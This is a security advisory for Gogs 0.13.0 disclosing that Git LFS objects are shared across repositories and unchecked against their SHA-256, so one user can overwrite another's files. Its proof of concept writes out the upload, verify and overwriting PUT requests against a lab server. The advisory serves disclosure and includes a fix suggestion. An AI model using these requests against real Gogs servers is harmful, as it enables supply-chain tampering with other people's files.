GHSA-cj4v-437j-jq4c

### Summary Overwritable LFS object across different repos leads to supply-chain attack, all LFS objects are vulnerable to be maliciously overwritten by malicious attackers. ### Details Gogs store all LFS objects in the same place, no isolation between different repositories. (repo id not concatenated to storage path) https://github.com/gogs/gogs/blob/7a2dffa95ac64f31c8322cb50d32694b05610144/internal/lfsutil/storage.go#L52-L58 Gogs does not verify uploaded LFS file content against its claimed SHA-256, meaning attackers can manipulate the uploaded file like injecting backdoor. https://github.com/gogs/gogs/blob/7a2dffa95ac64f31c8322cb50d32694b05610144/internal/lfsutil/storage.go#L79-L89 Here's the comment that trust client to retry upload allowing them to overwrite. However, this assumption does not hold in the case of a malicious client. https://github.com/gogs/gogs/blob/7a2dffa95ac64f31c8322cb50d32694b05610144/internal/route/lfs/basic.go#L111-L113 ### PoC ``` # ./gogs -v Gogs version 0.13.0 ``` #### 1. User (admin1) upload a LFS object into their repository `admin1/testlfs.git` normally ``` POST http://172.29.121.170/admin1/testlfs.git/info/lfs/objects/batch User-Agent: git-lfs/3.0.2 (GitHub; linux amd64; go 1.17.2) Accept-Encoding: gzip, deflate, br Accept: application/vnd.git-lfs+json Connection: keep-alive Content-Type: application/vnd.git-lfs+json Authorization: Basic YWRtaW4xOjg2ZjgxMmNkNDBiODY1YmIzZGQ1NTgyNDI2OTE2M2FmNDM3ZGZjZWI= Content-Length: 168 {"operation": "upload", "objects": [{"oid": "5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a", "size": 1048576}], "ref": {"name": "refs/heads/master"}} response: <Response [200]> Connection: close Content-Length: 438 Content-Type: application/vnd.git-lfs+json Date: Thu, 28 Nov 2024 13:57:47 GMT Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647 {'objects': [{'actions': {'upload': {'header': {'Content-Type': 'application/octet-stream'}, 'href': 'http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a'}, 'verify': {'href': 'http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/verify'}}, 'oid': '5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a', 'size': 1048576}], 'transfer': 'basic'} [STEP3] file_upload PUT http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a headers: {'Content-Type': 'application/octet-stream', 'Accept': 'application/vnd.git-lfs+json', 'Authorization': 'Basic YWRtaW4xOjg2ZjgxMmNkNDBiODY1YmIzZGQ1NTgyNDI2OTE2M2FmNDM3ZGZjZWI='} response: <Response [200]> [verify POST] http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/verify POST http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/verify User-Agent: git-lfs/3.0.2 (GitHub; linux amd64; go 1.17.2) Accept-Encoding: gzip, deflate, br Accept: application/vnd.git-lfs+json Connection: keep-alive Content-Type: application/vnd.git-lfs+json Authorization: Basic YWRtaW4xOjg2ZjgxMmNkNDBiODY1YmIzZGQ1NTgyNDI2OTE2M2FmNDM3ZGZjZWI= Cookie: lang=en-US Content-Length: 92 {"oid": "5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a", "size": 1048576} response: <Response [200]> Connection: close Content-Length: 0 Date: Thu, 28 Nov 2024 13:57:47 GMT ``` In this step, upload a LFS object `5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a` #### 2. Attacker `user2` overwrite this file by uploading manipulated content to their repo `user2/public.git` ``` PUT http://172.29.121.170:3000/user2/public.git/info/lfs/objects/basic/5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a Content-Type: application/octet-stream Accept: application/vnd.git-lfs+json Authorization: Basic dXNlcjI6NTRmZGU5ZmI3YjdmOTQ0MmM3MzY4ODhlMWIyNjZmMWE4MzAyMzE5NQ== response: <Response [200]> ``` #### 3. Verify the content has been overwritten: ``` # curl http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a -H "Authorization: Basic YWRtaW4xOjg2ZjgxMmNkNDBiODY1YmIzZGQ1NTgyNDI2OTE2M2FmNDM3ZGZjZWI=" -i HTTP/1.1 200 OK Content-Length: 1048576 Connection: keep-alive Content-Type: application/octet-stream Date: Thu, 28 Nov 2024 14:01:53 GMT Keep-Alive: timeout=4 Proxy-Connection: keep-alive Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647 curl: (18) transfer closed with 1048563 bytes remaining to read 2222 replaced ``` ### Impact All LFS objects hosted on Gogs can be maliciously overwritten. Supply-chain attack is possible, and when user download LFS object from webpage, there's no warning at all. ### Fix Suggestion Uploaded LFS objects must be verified to ensure their content matches the claimed SHA-256 hash, to prevent the upload of tampered files. Fix example: https://code.rhodecode.com/rhodecode-vcsserver/changeset/a680a60521bf02c29413d718ebca36c4f692ea4a?diffmode=unified